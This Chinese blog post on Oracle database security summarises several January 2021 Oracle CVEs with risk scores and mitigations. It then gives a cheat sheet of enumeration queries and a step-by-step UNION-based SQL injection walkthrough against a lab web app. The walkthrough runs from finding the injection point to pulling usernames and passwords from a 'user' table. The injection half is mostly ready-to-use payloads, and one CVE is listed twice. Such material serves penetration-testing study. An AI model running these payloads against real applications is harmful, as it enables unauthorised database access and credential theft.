Oracle数据库的常见漏洞及注入语句

一、Oracle数据库的常见漏洞

Oracle 公司 于 2021 年 1 月 19 日,发布了第一个年度安全预警。其中,有 8 个安全警告和 Oracle 数据库部分有关。目前,可以通过最新的 CPU 补丁,可以修复这个安全漏洞。

以下是这 8 个安全漏洞:

1.CVE-2021-2018

    该漏洞无需身份验证即可远程利用,入侵者可以通过网络利用这些漏洞并且不需要用户凭据。给出的安全系数风险评分是 8.3 分。不过,此攻击复杂度较高,也只影响 Windows 平台

2.CVE-2021-2035

    被通过数据库的Scheduler 定时组件进行攻击,需要 Export Full Database 权限,如果对这个权限有管控权,则可以降低风险。风险评分高达 8.8 分。修复的方法是:梳理数据库的权限,或者应用补丁修复。

3.CVE-2021-2054

    该漏洞和 Sharding 组件有关,大部分个人用户可能用不到,同时,不用分布式组件的用户也可以忽略

4.CVE-2021-2116 和 CVE-2021-2116

    该漏洞和 Oracle Apex 有关,可以通过 HTTP 协议进行攻击。防范方式:做好账户管理,则风险不大

5.CVE-2021-1993

    该漏洞和 Java JVM 有关,也是之前一系列反序列化的漏洞延续,可以通过 Package 的权限限制防范,或者补丁修复

6.CVE-2021-2045

    该漏洞和 Text 组件相关,大部分用户应该没有这个选项。同时建议,数据库安装时,对于用不到的组件,不要选择安装。

7.CVE-2021-2000

    该漏洞是 Unified Audit 统一审计管理特性相关的漏洞,对于权限要求极高,所以风险最低,安全分是 2.4 分。

二、Oracle数据库注入:

SELECT USERNAME from ALL_USERS; --查看所有用户

select TABLESPACE_NAME FROM USER_TABLESPACES; --查看所有的表空间

select TABLE_NAME from USER_TABLES WHERE ROWNUM=1; --查看当前用户的所有表

select column_name from user_tab_columns where table_name='DEMO'; --查看当前用户的所有的列,如查询DEMO表下的所有列

SELECT object_name from user_objects; --查看当前用户的所有对象(表名称,约束、索引)

SELECT * from session_roles; --当前用户的权限

SELECT * from v$version WHERE rownum=1; --获取数据库版本

select * from product_component_version; --同上

SELECT member from v$logfile WHERE rownum=1; --服务器操作系统

select instance_name from v$instance;--服务器SID

SELECT sys_context('userenv','current_user') from dual; --当前连接用户

SELECT user FROM dual; --当前用户

SELECT username FROM all_users ORDER BY username; --列出所有用户

SELECT DISTINCT owner FROM all_tables; --列出数据库

SELECT table_name FROM all_tables; --列出表名

SELECT owner, table_name FROM all_tables; --列出表名

SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN'; --查询表所有列

SELECT name FROM V$DATAFILE; --定位文件

三、Oracle中使用联合查询注入:

(1) 判断注入点

http://192.168.91.142:8080/index.jsp?id=1 and 1=1

(2) 判断列数

http://192.168.91.142:8080/index.jsp?id=1 order by 1

(3) 判断显错点

http://192.168.91.142:8080/index.jsp?id=1 union select null,null,null from dual

(4) 获取当前数据库

http://192.168.91.142:8080/index.jsp?id=1 union select null,null,SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual

(5) 获取数据库中的表

http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,null,table_name from user_tables

(6) 获取表中的列

http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,null,column_name from user_tab_columns

(7) 获取列中的数据

http://192.168.91.142:8080/index.jsp?id=1 and 1=2 union select null,"username","password" from "user"

你可能感兴趣的:(sql,oracle,数据库)